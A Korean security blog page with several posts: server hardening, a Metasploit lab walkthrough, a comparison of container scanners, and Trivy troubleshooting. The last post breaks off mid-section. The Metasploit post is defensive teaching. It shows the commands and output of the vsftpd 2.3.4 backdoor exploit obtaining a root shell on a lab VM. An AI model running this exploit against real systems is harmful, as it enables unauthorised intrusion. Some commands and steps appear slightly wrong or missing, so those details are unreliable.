관리 포트(SSH, 웹 관리자)를 인터넷에 직접 여는 대신, WireGuard VPN이나 Cloudflare Tunnel로 접근하면 포트를 열지 않고도 안전하게 접속할 수 있습니다. 관리 인터페이스는 가능한 한 공개하지 마세요.
7. 하드닝 체크리스트
항목
효과
SSH 키 인증 + 비밀번호 차단
무차별 대입 원천 차단
방화벽(필요 포트만)
공격 표면 축소
fail2ban
반복 공격 IP 자동 밴
자동 보안 업데이트
알려진 취약점 방어
최소 권한·서비스 정리
피해 범위 축소
VPN/터널로 접근
관리 포트 비공개
8. 정리
보안은 한 방이 아니라 겹겹이 쌓는 기본기입니다. SSH 키, 방화벽, fail2ban, 자동 업데이트, 최소 권한 — 이 다섯 가지만 해도 자동화된 공격의 대부분을 막습니다. 서버를 새로 올릴 때마다 이 체크리스트를 돌리는 습관을 들이세요. 이 글은 본인 소유 서버의 방어 목적에 한합니다.
안녕하세요, 13년차 서버실 지킴이입니다. 인프라 엔지니어로 일하다 보면 항상 이런 고민을 하거든요. ‘내가 구축하고 관리하는 시스템은 과연 안전할까?’ 말로만 보안을 외치는 게 아니라, 실제 공격자들이 어떤 방식으로 시스템의 약점을 파고드는지 직접 경험해봐야 방어 전략도 제대로 세울 수 있잖아요? 그래서 오늘은 Metasploit(메타스플로잇) 모의 해킹 프레임워크를 활용해서 실제 공격 기법을 분석하고, 이를 통해 우리 시스템의 보안을 어떻게 강화할 수 있을지 이야기해보려 합니다.
물론, 여기서 한 가지 짚고 넘어가야 할 점이 있습니다. ⚠️ 본 글은 보안 학습과 본인이 관리하는 시스템의 방어를 위한 교육 목적입니다. 타인의 시스템에 대한 무단 접근·공격은 불법이며 법적 처벌 대상입니다. 저는 홈랩에서 다양한 기술을 직접 실험해보면서 얻은 경험들을 공유하는 것이니, 여러분도 반드시 허가된 환경에서만 테스트하시길 강력히 권고합니다. 저도 처음엔 멋모르고 이것저것 해보다가 아찔했던 경험이 있거든요. ㅎㅎ
Metasploit 프레임워크는 다양한 모듈로 구성되어 모의 해킹 과정을 체계적으로 지원합니다.
Metasploit 프레임워크란? 모의 해킹의 첫걸음
Metasploit Framework(메타스플로잇 프레임워크, MSF)는 쉽게 말해 ‘모의 해킹 도구들의 종합 선물 세트’라고 보시면 됩니다. 수많은 취약점(Vulnerability)들을 공격하는 익스플로잇(Exploit) 코드와, 성공적으로 시스템에 침투했을 때 실행할 수 있는 다양한 페이로드(Payload)들을 모아놓은 오픈소스 프로젝트죠. 보안 전문가들이 Penetration Test(페네트레이션 테스트, 침투 테스트)를 수행할 때 가장 많이 활용하는 도구 중 하나입니다. 저도 제 홈랩의 가상 머신들을 대상으로 주기적으로 Metasploit을 돌려보면서 ‘아, 이렇게 뚫릴 수도 있겠구나’ 하고 깜짝 놀랄 때가 많습니다.
Metasploit은 크게 다음과 같은 모듈들로 구성되어 있어요.
Exploits (익스플로잇): 특정 취약점을 공격해서 시스템에 침투하는 코드입니다. 예를 들어, 웹 서버의 특정 버전에서 발견된 버그를 이용해 원격 코드 실행(Remote Code Execution, RCE)을 시도하는 거죠.
Payloads (페이로드): 익스플로잇이 성공했을 때 대상 시스템에서 실행되는 악성 코드입니다. 쉘(Shell)을 얻거나, 백도어를 설치하거나, 시스템 정보를 빼내오는 등 다양한 목적을 가집니다. 대표적으로 Meterpreter(미터프리터)가 있는데, 이건 정말 강력한 후속 작업 도구더라고요.
Auxiliary (보조 모듈): 직접적인 공격보다는 정보 수집(Scanning), 퍼징(Fuzzing) 등 다양한 보조 작업을 수행하는 모듈입니다. Nmap으로 포트 스캔하는 것처럼, Metasploit 내에서도 다양한 스캔 기능을 제공해요.
Post (포스트 모듈): 침투에 성공한 후, 추가적인 정보 수집이나 권한 상승(Privilege Escalation) 등 후속 작업을 수행하는 모듈입니다.
이 모듈들을 어떻게 조합하느냐에 따라 다양한 모의 해킹 시나리오를 만들어볼 수 있습니다. 아래 표에서 각 모듈의 역할을 좀 더 자세히 비교해볼게요.
모듈 유형
주요 역할
예시 기능
실전 활용
Exploit
취약점 공격 및 침투
원격 코드 실행, 버퍼 오버플로우
대상 시스템에 초기 접근 권한 획득
Payload
침투 후 실행될 코드
쉘 연결, Meterpreter 세션, 데이터 유출
침투 성공 후 원하는 작업 수행
Auxiliary
정보 수집 및 보조 작업
포트 스캔, 서비스 버전 확인, 로그인 무작위 대입
공격 전 대상 시스템 정보 파악
Post
침투 후 추가 작업
권한 상승, 시스템 정보 수집, 흔적 삭제
초기 침투 후 시스템 내부 탐색 및 제어
실전 구현: 가상 환경에서 취약점 공격 시연하기
자, 이제 직접 Metasploit을 활용해서 취약점을 분석해보겠습니다. 저는 Kali Linux(칼리 리눅스) 환경에 Metasploit이 설치되어 있다고 가정하고, 제 홈랩에 있는 Metasploitable2(메타스플로이터블2)라는 고의적으로 취약하게 만들어진 가상 머신을 대상으로 테스트할 거예요. 이 Metasploitable2는 다양한 옛날 취약점들이 그대로 노출되어 있어서 학습용으로 정말 좋거든요.
1. Metasploit 콘솔 실행
먼저 터미널에서 msfconsole 명령어로 Metasploit 프레임워크 콘솔을 실행합니다. 처음 실행하면 데이터베이스 초기화 등으로 시간이 좀 걸릴 수 있어요. 저는 늘 이 로고를 보면서 ‘오늘도 뭔가 새로운 걸 배우겠구나’ 하고 기대하곤 합니다.
use 명령어로 해당 익스플로잇을 선택하면 프롬프트가 바뀌는 걸 볼 수 있죠? 이제 이 익스플로잇에 필요한 옵션들을 설정해야 합니다.
Metasploit 콘솔에서 익스플로잇을 선택하고 옵션을 설정하는 과정입니다.
3. 공격 옵션 설정하기
show options 명령어로 어떤 옵션들을 설정해야 하는지 확인합니다. 여기서 가장 중요한 건 RHOSTS(대상 IP 주소)와 LHOST(내 공격자 IP 주소)입니다.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier
RPORT 21 yes The target port (TCP)
Exploit target:
Id Name
-- ----
0 Automatic
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.100 # Metasploitable2 IP 주소
RHOSTS => 192.168.1.100
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST 192.168.1.50 # Kali Linux IP 주소
LHOST => 192.168.1.50
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
여기서 RHOSTS(원격 호스트)는 공격 대상 시스템의 IP 주소이고, LHOST(로컬 호스트)는 공격을 시도하는 Kali Linux 시스템의 IP 주소입니다. 저도 처음에는 이걸 헷갈려서 한참 삽질했었는데, 쉽게 생각해서 ‘공격받을 놈’은 RHOSTS, ‘공격할 놈(나)’은 LHOST라고 기억하시면 편할 거예요.
4. 익스플로잇 실행 및 결과 확인
모든 옵션 설정이 끝났으면 exploit 또는 run 명령어로 공격을 실행합니다. 성공하면 Command Shell Session(명령 쉘 세션)을 얻게 됩니다.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.1.100:21 - Backdoored VSFTPD v2.3.4 found
[*] 192.168.1.100:21 - CMD: Trying command: id
[*] 192.168.1.100:21 - CMD: Command output: uid=0(root) gid=0(root) groups=0(root)
[+] 192.168.1.100:21 - CMD: Command shell session 1 opened (192.168.1.50:4444 -> 192.168.1.100:62000) at 2023-10-26 10:30:00 KST
# command shell session 1
id
whoami
pwd
ls -al
exit
uid=0(root) 보이시나요? 이건 공격 대상 시스템에서 root(루트) 권한을 얻었다는 뜻입니다. 실제 환경이라면 정말 심각한 상황이죠. 이런 방식으로 공격이 성공하면, 공격자는 시스템의 모든 권한을 가지고 원하는 작업을 수행할 수 있습니다.
⚠️ 주의사항 및 트러블슈팅 팁
제가 Metasploit을 사용하면서 겪었던 몇 가지 주의사항과 트러블슈팅 팁을 공유합니다.
네트워크 설정: 가상 머신(Kali Linux, Metasploitable2) 간의 네트워크 설정은 정말 중요합니다. NAT(Network Address Translation) 모드보다는 Bridged(브리지) 모드로 설정해서 서로 같은 네트워크 대역에 있도록 하는 게 테스트하기 편하더라고요. IP 주소가 서로 통신 가능한지 ping 명령어로 꼭 확인하세요.
방화벽 확인: 대상 시스템이나 공격자 시스템의 방화벽이 특정 포트를 막고 있지 않은지 확인해야 합니다. 특히 페이로드가 리버스 쉘(Reverse Shell)로 동작할 경우, 공격자(LHOST) 시스템의 특정 포트가 열려 있어야 대상 시스템에서 연결이 올 수 있습니다.
익스플로잇 버전 호환성: 세상의 모든 취약점을 공격할 수 있는 만능 익스플로잇은 없습니다. 특정 익스플로잇은 특정 소프트웨어의 특정 버전에서만 동작해요. 따라서 정보 수집 단계에서 대상 시스템의 OS, 서비스, 버전 정보를 정확히 파악하는 것이 중요합니다. nmap -sV [대상 IP] 같은 명령어로 서비스 버전을 확인하는 습관을 들이세요.
시스템 리소스: Metasploit은 꽤 많은 리소스를 사용합니다. 특히 Kali Linux를 VM으로 운영한다면, 충분한 RAM(최소 4GB)과 CPU 코어를 할당해주는 게 좋아요. 그렇지 않으면 콘솔이 버벅거리거나 익스플로잇 실행 중 멈추는 불상사가 생길 수 있습니다.
검증 및 결과 분석: 방어 전략 수립
이렇게 Metasploit을 통해 Command Shell을 얻는 과정을 경험하면, ‘아, 내 시스템의 이 부분이 이렇게 취약했구나’ 하고 직접적으로 느낄 수 있습니다. 제가 얻은 쉘 세션은 일종의 ‘발견된 취약점 보고서’ 같은 거죠. 단순히 ‘취약점이 있다’는 경고를 받는 것보다, 직접 침투에 성공하는 경험은 훨씬 강력한 동기 부여가 됩니다.
이 결과는 다음과 같은 방어 전략을 세우는 데 활용될 수 있습니다.
취약점 패치 및 업데이트: 이번 시나리오에서는 vsftpd 2.3.4의 백도어 취약점을 이용했는데, 이는 이미 오래전에 알려진 취약점입니다. 모든 소프트웨어는 최신 버전으로 유지하고, 보안 패치(Security Patch)를 즉시 적용하는 것이 가장 기본적인 방어입니다.
불필요한 서비스 중지: 운영 중인 서버에서 사용하지 않는 서비스(FTP, Telnet 등)는 과감히 중지하거나 삭제해야 합니다. 공격 표면(Attack Surface)을 최소화하는 것이 중요하거든요.
강력한 접근 제어: 관리자 계정의 비밀번호는 복잡하게 설정하고, SSH(Secure Shell)나 VPN(Virtual Private Network)을 통한 안전한 접근 방식을 강제해야 합니다.
보안 솔루션 도입: IDS/IPS(침입 탐지/방지 시스템)나 WAF(웹 방화벽) 같은 보안 솔루션을 도입하여 비정상적인 트래픽이나 공격 시도를 탐지하고 차단하는 것도 중요합니다.
모의 해킹으로 발견된 취약점은 시스템 방어 전략을 강화하는 중요한 밑거름이 됩니다.
마무리하며: Metasploit, 방패를 벼리는 망치
오늘은 Metasploit 모의 해킹 프레임워크를 활용해서 가상 환경에서 취약점을 분석하고, 실제 공격 기법을 이해하는 과정을 살펴봤습니다. 13년차 인프라 엔지니어로서 제가 늘 강조하는 건 ‘공격자의 시야’를 가져야 한다는 겁니다. 그래야 내 시스템의 약점을 제대로 파악하고, 강력한 방어책을 세울 수 있거든요. Metasploit은 그런 시야를 제공하는 아주 훌륭한 도구라고 생각합니다.
이 글을 통해 Metasploit이 단순히 ‘해킹 도구’가 아니라, ‘보안을 강화하기 위한 강력한 학습 및 검증 도구’라는 점을 여러분이 느끼셨으면 좋겠습니다. 만약 여러분의 시스템에 어떤 취약점이 있는지 직접 파악하고 싶다면, 반드시 허가된 환경에서 Metasploit을 활용해보세요. 그 과정에서 얻는 인사이트는 어떤 보안 서적보다 값질 겁니다.
다음 글에서는 Metasploit으로 찾은 취약점을 어떻게 막을지, 그리고 IDS/IPS(침입 탐지/방지 시스템)의 로그를 분석하여 공격을 탐지하는 방법에 대해 더 구체적으로 다뤄보겠습니다. 궁금한 점이 있다면 언제든지 댓글로 남겨주세요!
요즘 인프라 이야기에서 컨테이너(Container)를 빼놓을 수 없죠? Docker(도커)와 Kubernetes(쿠버네티스)가 대세가 되면서 개발 속도는 엄청나게 빨라졌지만, 그만큼 보안(Security)에 대한 고민도 깊어졌습니다. 제가 직접 여러 환경을 구축하고 운영하면서 느낀 건데, ‘개발 속도만 빠르면 장땡이지!’ 했다가 크게 데인 적이 한두 번이 아니거든요. 😅
특히 컨테이너 이미지는 한 번 만들면 여러 환경에서 재사용되기 때문에, 이미지 안에 숨겨진 취약점은 나중에 큰 사고로 이어질 수 있습니다. 그래서 오늘은 컨테이너 이미지의 취약점을 미리 스캔하고 관리해주는 도구들, 그중에서도 Trivy, Aqua Security, Snyk 세 가지 솔루션의 비용(Cost)과 기능(Feature)을 제 경험을 바탕으로 심층 분석해보려고 합니다. 어떤 도구가 우리 환경에 가장 적합할지 함께 고민해보시죠!
⚠️ 면책 조항: 본 글은 보안 학습과 본인이 관리하는 시스템의 방어를 위한 교육 목적입니다. 타인의 시스템에 대한 무단 접근이나 공격은 불법이며 법적 처벌 대상이 될 수 있습니다. 모든 실습은 반드시 허가된 환경에서만 진행해주세요.
컨테이너 보안 스캐너는 개발-배포 파이프라인의 핵심 방어선입니다.
컨테이너 보안 스캐너, 왜 필요할까요? (Concept Explanation)
쉽게 말해, 컨테이너 보안 스캐너(Container Security Scanner)는 우리가 만든 도커 이미지(Docker Image) 안에 혹시 모를 취약점(Vulnerability)이나 잘못된 설정(Misconfiguration)이 없는지 꼼꼼히 검사해주는 도구입니다. 운영체제 라이브러리, 애플리케이션 종속성(dependencies), 심지어 설정 파일까지 싹 다 뒤져서 알려진 문제점들을 찾아주죠.
이런 스캐너가 중요한 이유는 다음과 같거든요:
조기 발견 및 수정(Early Detection & Remediation): 개발 단계에서 미리 취약점을 찾아서 고치면, 나중에 운영 환경에서 문제가 터지는 것보다 훨씬 적은 비용과 노력으로 해결할 수 있어요.
규정 준수(Compliance): 특정 산업군에서는 보안 규정 준수가 필수인데, 스캐너를 활용하면 이런 요구사항을 더 쉽게 만족시킬 수 있거든요.
DevSecOps(데브섹옵스) 구현: 개발(Dev), 보안(Sec), 운영(Ops)을 통합하는 DevSecOps 문화에서 보안 스캐닝은 CI/CD 파이프라인에 필수적으로 통합되어야 할 요소입니다.
Trivy로 컨테이너 이미지 스캔하기 (Hands-on Implementation)
자, 그럼 제가 홈랩에서 가장 즐겨 쓰는 오픈소스 스캐너인 Trivy(트리비)를 직접 써보면서 어떻게 동작하는지 알아볼까요? Trivy는 Aqua Security에서 만든 오픈소스 취약점 스캐너인데, 빠르고 사용하기 쉽다는 장점 때문에 많은 개발자/운영자들에게 사랑받고 있습니다. 저도 처음엔 ‘이거 정말 공짜 맞아?’ 싶을 정도로 만족하며 쓰고 있거든요. 👍
1. Trivy 설치
macOS 기준으로 Homebrew(홈브루)를 사용하면 아주 간단하게 설치할 수 있습니다.
# Trivy 설치 (macOS 예시)
brew install aquasecurity/trivy/trivy
# 설치 확인
trivy --version
# Output 예시:
# Version: 0.49.1
# ...
다른 운영체제나 Docker 컨테이너로 실행하는 방법은 Trivy 공식 문서를 참고해주세요!
2. Docker 이미지 스캔
이제 설치된 Trivy로 특정 Docker 이미지를 스캔해볼까요? 저는 안정적인 버전의 Nginx(엔진엑스) 이미지를 예시로 사용하겠습니다. `nginx:1.21.6`은 비교적 널리 알려진 버전이라, 학습 데이터 컷오프 이전에도 충분히 존재했던 이미지입니다.
# Nginx 1.21.6 이미지 스캔
trivy image nginx:1.21.6
명령어를 실행하면 Trivy가 해당 이미지의 레이어들을 분석하고, 발견된 취약점들을 severity(심각도)별로 정리해서 보여줄 겁니다. 처음엔 이게 뭔가 싶었는데, 자세히 보면 CVE(Common Vulnerabilities and Exposures) 번호와 함께 어떤 패키지에 어떤 문제가 있는지, 그리고 권고되는 해결책까지 친절하게 알려줘요. 정말 편하더라고요!
Trivy 스캔 결과는 심각도와 함께 취약점 정보, 해결책을 명확하게 보여줍니다.
삽질 경험: 너무 많은 경고, 어떻게 다루지? (Troubleshooting & Best Practices)
Trivy를 처음 써봤을 때, ‘와, 세상에 이렇게 취약점이 많았다고?!’ 하면서 놀랐던 기억이 있습니다. 특히 공식 이미지인데도 CRITICAL(치명적), HIGH(높음) 등급의 경고가 수십 개씩 쏟아져 나오는 걸 보고 멘붕이 오기도 했었죠. 🤯
여기서 중요한 포인트! 모든 경고를 당장 다 해결할 수는 없습니다. 중요한 건 우선순위(Priority)를 정하고, 우리 서비스에 미치는 영향(Impact)을 분석하는 겁니다.
1. 미해결 취약점 필터링 (`–ignore-unfixed`)
간혹 어떤 취약점은 아직 패치(patch)가 나오지 않아 해결할 수 없는 경우가 있습니다. 이런 경우까지 경고로 계속 뜨면 노이즈가 너무 심해져요. 이럴 땐 `–ignore-unfixed` 옵션을 사용해서 아직 수정되지 않은 취약점은 제외하고 볼 수 있습니다.
2. 심각도별 필터링 (`–severity`)
모든 MEDIUM(중간)이나 LOW(낮음) 레벨의 취약점을 당장 해결하기는 어렵습니다. 보통은 CRITICAL이나 HIGH 레벨부터 우선 처리하는 게 일반적이거든요. `–severity` 옵션으로 원하는 심각도만 지정해서 볼 수 있어요.
Fixed Version: 취약점이 해결된 패키지 버전 (이 버전 이상으로 업데이트해야 함)
Title/Description: 취약점에 대한 간략한 설명
스캔 결과를 보고 나면 어떻게 해야 할까요?
가장 먼저 Fixed Version 확인: 해당 패키지를 Fixed Version 이상으로 업데이트할 수 있는지 확인하고, Dockerfile(도커파일)을 수정해서 이미지를 다시 빌드(rebuild)합니다.
영향 분석: 패치 적용이 어렵다면, 해당 취약점이 우리 서비스에 실제로 어떤 영향을 미칠 수 있는지 심층 분석합니다. 예를 들어, 특정 포트가 외부에 노출되지 않는다면 일부 네트워크 관련 취약점은 우선순위가 낮아질 수 있겠죠.
예외 처리(Suppression): 불가피하게 당장 해결할 수 없거나, 우리 서비스에 영향이 없다고 판단되면, 문서화된 근거를 가지고 해당 취약점을 일시적으로 무시(suppress)할 수 있습니다. 하지만 이는 최후의 수단이며, 지속적으로 재평가해야 합니다.
이런 과정을 통해 저는 ‘보안은 개발의 한 부분’이라는 것을 다시 한번 깨달았습니다. 단순히 스캔만 하고 끝내는 게 아니라, 결과를 이해하고 적절한 조치를 취하는 것이 중요하더라고요.
세 가지 컨테이너 보안 스캐너의 핵심 기능과 비용 모델을 한눈에 비교할 수 있습니다.
Trivy, Aqua Security, Snyk: 비용 및 기능 비교 (Cost & Feature Analysis)
이제 Trivy 외에 다른 상용 솔루션인 Aqua Security와 Snyk는 어떤 특징을 가지고 있는지, 그리고 비용(Cost) 측면에서는 어떻게 다른지 비교해보겠습니다. 이들은 단순 취약점 스캔을 넘어, 더 넓은 범위의 컨테이너 보안(Container Security) 기능을 제공합니다.
컨테이너 보안 스캐너 주요 솔루션 비교
제가 직접 사용해보고, 또 주변 동료들의 경험담을 들으면서 느낀 점들을 바탕으로 비교표를 만들어봤습니다.
항목
Trivy
Aqua Security (Aqua Cloud Native Security Platform)
Snyk (스닉)
주 사용 목적
개발/CI/CD 단계의 빠른 취약점 스캔 및 SBOM 생성
엔터프라이즈급 통합 Cloud Native 보안 플랫폼 (스캔, 런타임, 네트워크, 워크로드 보호 등)
CI/CD, Kubernetes, Cloud Platform, Registry 등 전방위 통합
IDE, Git Repositories, CI/CD, Container Registries 등 개발자 워크플로우 중심 통합
스캔 범위
OS 패키지, 프로그래밍 언어 종속성, IaC(Infrastructure as Code), 설정 파일, SBOM
이미지, 컨테이너, 서버리스, Kubernetes, 런타임 환경, 클라우드 자산 등 광범위
코드, 오픈소스 종속성, 컨테이너 이미지, IaC 설정
부가 기능
SBOM(Software Bill of Materials) 생성, 이미지 서명 검증
런타임 보호, 네트워크 방화벽, KSPM(Kubernetes Security Posture Management), 데이터 보호, 통합 대시보드 및 보고서
자동 취약점 수정 제안, 라이선스 준수 검사, 코드 보안, 개발자 교육 자료
비용 모델
무료 (오픈소스)
구독 기반 (스캔 대상 이미지 수, 보호하는 노드/워크로드 수, 사용량 기반 등 복합적)
구독 기반 (개발자 수, 월별 테스트 횟수, 프로젝트 수 등 복합적)
비용 측면에서 보면, Trivy는 오픈소스이므로 직접 운영하는 데 드는 인프라 비용 외에는 무료입니다. 하지만 Aqua Security나 Snyk 같은 상용 솔루션은 기업 규모와 사용량에 따라 상당한 구독료가 발생할 수 있습니다. 예를 들어, 수백 개의 컨테이너 이미지를 관리하고 수십 대의 Kubernetes 노드에서 런타임 보호까지 필요하다면, 연간 수천만 원에서 억대까지도 비용이 들 수 있더라고요. 물론 이 금액은 제품마다, 계약 조건마다 천차만별입니다. 제가 특정 가격을 확언할 수는 없지만, ‘오픈소스와 상용 솔루션의 가격 차이는 크다’는 점은 분명합니다.
따라서 컨테이너 보안 스캐너를 선택할 때는 단순히 기능만 볼 것이 아니라, 우리 조직의 규모, 예산, 기존 인프라와의 통합 용이성, 그리고 필요한 보안 범위 등을 종합적으로 고려해야 합니다. 무조건 비싼 솔루션이 좋다고 할 수는 없거든요. “우리 팀은 개발 속도가 생명인데, 보안 스캐너 때문에 속도가 느려지면 안 돼!” 같은 고민도 충분히 할 수 있습니다. 이럴 땐 Snyk처럼 개발자 워크플로우에 녹아드는 솔루션이 더 효과적일 수 있고요.
Trivy, Aqua Security, Snyk 각 솔루션의 장단점과 추천 사용 시나리오를 요약한 비교표입니다.
마무리: 우리에게 맞는 컨테이너 보안 스캐너는? (Conclusion)
오늘은 컨테이너 보안의 중요한 축인 Trivy, Aqua Security, Snyk 세 가지 솔루션에 대해 기능과 비용(Cost) 관점에서 자세히 알아봤습니다. 제가 직접 써보고, 삽질하면서 느낀 점들을 솔직하게 공유해드렸는데요.
결론적으로 어떤 도구를 선택할지는 여러분의 상황에 따라 달라집니다.
작은 프로젝트, 개인 홈랩, 또는 제한된 예산으로 기본적인 취약점 스캔을 시작하고 싶다면? ✅ Trivy가 최고의 선택입니다. CLI 기반으로 가볍게 시작하고, CI/CD에 통합하기도 쉽습니다.
개발 초기 단계부터 보안을 녹여내고 싶고, 개발자 중심의 자동화된 워크플로우와 코드 레벨의 빠른 피드백이 중요하다면? 💡 Snyk를 고려해보세요. IDE 통합과 자동 수정 제안 기능이 개발 생산성을 해치지 않으면서 보안을 강화하는 데 도움을 줄 겁니다.
대규모 엔터프라이즈 환경에서 통합적인 Cloud Native 보안 플랫폼이 필요하고, 취약점 스캔을 넘어 런타임 보호, 네트워크 보안, 규정 준수까지 전방위적인 관리가 필요하다면? 🚀 Aqua Security가 적합합니다. 물론 그만큼 비용 투자는 필요하겠죠.
어떤 도구를 선택하든 중요한 건, 보안은 한 번 하고 끝나는 게 아니라 지속적인 관심과 개선이 필요하다는 점입니다. 스캐너는 도구일 뿐, 그 결과를 이해하고 적절한 조치를 취하는 것이 가장 중요합니다. 여러분의 컨테이너 환경이 더욱 안전해지기를 바라며, 다음 글에서는 컨테이너 런타임 보안에 대해 더 자세히 다뤄볼게요. 궁금한 점이 있다면 언제든 댓글 남겨주세요! 😉
안녕하세요, 13년차 인프라 엔지니어 ’13년차의 서버실’ 주인장입니다. 오늘은 컨테이너 보안의 필수 도구인 Trivy를 사용하다가 흔히 겪을 수 있는 오류들과 제가 직접 삽질하며 찾아낸 해결 방법들을 공유해 보려고 합니다. 사실 처음에는 Trivy가 ‘딱 이거다!’ 싶을 정도로 간편하고 강력해 보였거든요. 그런데 막상 CI/CD 파이프라인에 물려서 쓰려니 예상치 못한 오류들이 툭툭 튀어나오더라고요. 꽤나 골머리를 앓았는데, 저와 같은 경험을 하신 분들이 분명 있을 거라 생각합니다. 혹시 Trivy 이미지 스캔 오류 때문에 밤잠 설치고 계신가요? 그렇다면 이 글이 큰 도움이 될 겁니다.
⚠️ 면책 문구: 본 글은 보안 학습과 본인이 관리하는 시스템의 방어를 위한 교육 목적입니다. 타인의 시스템에 대한 무단 접근이나 공격은 불법이며, 법적 처벌 대상이 될 수 있습니다. 모든 기술 활용은 윤리적이고 합법적인 범위 내에서 이루어져야 합니다.
Trivy 컨테이너 이미지 보안 스캔의 전체적인 흐름을 보여주는 다이어그램입니다.
Trivy, 컨테이너 보안의 든든한 파수꾼
Trivy(트리비)는 Aqua Security에서 개발한 오픈소스 취약점 스캐너예요. 컨테이너 이미지뿐만 아니라 파일 시스템, Git 레포지토리, Kubernetes 클러스터, 심지어 IaC(Infrastructure as Code) 설정 파일까지 다양한 대상에서 취약점이나 설정 오류를 찾아내죠. 쉽게 말해, 우리가 만든 컨테이너 이미지가 혹시 모를 보안 구멍을 가지고 있지는 않은지, 혹은 개발 과정에서 실수로 취약한 라이브러리를 사용하진 않았는지 꼼꼼하게 검사해 주는 도구라고 보시면 됩니다.
요즘처럼 컨테이너 기반의 애플리케이션 개발이 대세인 시대에, DevSecOps(데브섹옵스)는 선택이 아닌 필수가 되었어요. 개발 초기 단계부터 보안을 고려하지 않으면 나중에 훨씬 큰 비용과 시간을 들여야 하는 상황이 생기거든요. Trivy는 이런 DevSecOps를 실현하는 데 아주 효과적인 도구입니다. CI/CD 파이프라인에 Trivy를 통합하면, 이미지가 빌드되자마자 자동으로 취약점을 스캔하고, 문제가 발견되면 배포를 막거나 경고를 줄 수 있어요. 제가 홈랩에서 여러 프로젝트를 진행할 때도 Trivy 덕분에 심각한 보안 문제를 미리 잡아낼 수 있었던 경험이 꽤 많습니다.
Trivy, 직접 설치하고 스캔해보기
Trivy 설치도 진짜 간단해요. 저는 주로 macOS 환경에서 Homebrew를 사용하는데, 다른 OS에서도 금방 설치할 수 있습니다. 우분투 서버에서 apt를 이용하기도 하고, Docker 컨테이너로 실행하기도 하는데, 정말 편하더라고요!
# macOS (Homebrew)
brew install aquasecurity/trivy/trivy
# Debian/Ubuntu (권장)
curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | sh -s -- -b /usr/local/bin
# Docker 컨테이너로 실행 (가장 유연함!)
docker run --rm aquasecurity/trivy:latest --help
설치가 완료되었으면, 이제 간단한 이미지 스캔을 해볼까요? 저는 보통 Nginx 공식 이미지를 많이 사용하는데, 이걸로 한번 테스트해봅시다.
trivy image nginx:latest
이 명령어를 실행하면 Nginx 이미지의 취약점들이 주르륵 나올 거예요. 처음에는 결과가 너무 많아서 당황할 수도 있는데, CRITICAL(치명적)이나 HIGH(높음) 등 심각도가 높은 것들부터 우선적으로 살펴보는 게 좋습니다. 저도 처음엔 수많은 결과에 압도돼서 뭘 먼저 봐야 할지 몰라 헤맸던 기억이 나네요. 하하.
CI/CD 파이프라인 내 Trivy 스캔 단계를 시각적으로 보여주는 다이어그램입니다.
⚠️ 삽질 경험담: Trivy 이미지 스캔 시 흔히 겪는 오류와 해결책
자, 이제 본론입니다. 제가 13년 동안 서버실에서 겪었던 수많은 삽질 중, Trivy 관련해서 가장 기억에 남는 오류들과 그 해결 방법들을 공유해 드릴게요. 정말 이거 때문에 밤샘도 몇 번 했었습니다. 여러분은 저처럼 고생하지 마시라고 자세히 알려드립니다.
1. Docker 데몬 연결 오류 (`failed to analyze image: analyze image failed: …`)
Trivy가 컨테이너 이미지를 스캔하려면 Docker 데몬(Daemon)에 접근할 수 있어야 합니다. 그런데 이 데몬이 제대로 실행되지 않았거나, Trivy를 실행하는 사용자에게 접근 권한(Permission)이 없을 때 이 오류가 발생하곤 해요.
문제 상황:Error: failed to analyze image: analyze image failed: GET http://unix/v1.24/images/nginx:latest/json: dial unix /var/run/docker.sock: connect: permission denied
원인: Docker 소켓 파일(/var/run/docker.sock)에 대한 권한 부족 또는 Docker 데몬 미실행.
해결 방법:
Docker 데몬 실행 확인:sudo systemctl status docker 명령으로 Docker 서비스가 활성화되어 있는지 확인합니다. 만약 실행 중이 아니라면 sudo systemctl start docker로 시작하세요.
사용자에게 Docker 그룹 권한 부여: 현재 사용자를 docker 그룹에 추가하여 소켓 파일에 접근할 수 있도록 합니다.
sudo usermod -aG docker $USER
newgrp docker # 또는 로그아웃 후 다시 로그인
2. 이미지 Pull 오류 (`failed to analyze image: analyze image failed: GET https://registry-1.docker.io/v2/…`)
Trivy는 스캔하기 전에 대상 이미지를 로컬로 가져옵니다(Pull). 이때 프라이빗 레지스트리(Private Registry)에 접근해야 하거나, 네트워크 방화벽(Firewall) 등의 문제로 이미지를 가져오지 못할 때 발생해요.
문제 상황:Error: failed to analyze image: analyze image failed: GET https://registry-1.docker.io/v2/my-private-repo/my-image/manifests/latest: denied: requested access to the resource is denied
원인: 레지스트리 인증 정보 누락, 네트워크 문제(프록시, 방화벽), 이미지 이름 오타.
해결 방법:
레지스트리 로그인: 프라이빗 레지스트리인 경우 docker login <your-registry> 명령으로 로그인 정보를 Trivy가 사용할 수 있도록 해줍니다.
네트워크 설정 확인: 기업 환경에서는 프록시 서버(Proxy Server)를 통해 인터넷에 접속해야 하는 경우가 많아요. Trivy는 HTTP_PROXY, HTTPS_PROXY 환경 변수를 지원하므로 이를 설정해 주세요.
Trivy는 최신 취약점 정보를 스캔하기 위해 자체 데이터베이스를 사용합니다. 이 DB를 업데이트하거나 초기화하는 과정에서 문제가 생기면 스캔을 시작할 수 없어요.
문제 상황:FATAL: failed to initialize vulnerability DB: failed to download vulnerability DB: failed to download DB from ...
원인: 네트워크 연결 불량, Trivy DB 서버 접근 불가, 디스크 공간 부족.
해결 방법:
네트워크 연결 확인: Trivy DB를 다운로드하는 URL(보통 GitHub 또는 Aqua Security CDN)에 접근 가능한지 ping이나 curl로 확인합니다.
디스크 공간 확인:df -h 명령으로 Trivy가 설치된 디렉토리(보통 ~/.cache/trivy)의 디스크 공간이 충분한지 확인해요.
수동 DB 업데이트 시도: 문제가 지속되면 DB를 수동으로 업데이트해 보세요.
trivy sbom --download-db-only
4. WSL2 환경에서 Docker Desktop 없이 Trivy 사용 시 주의사항
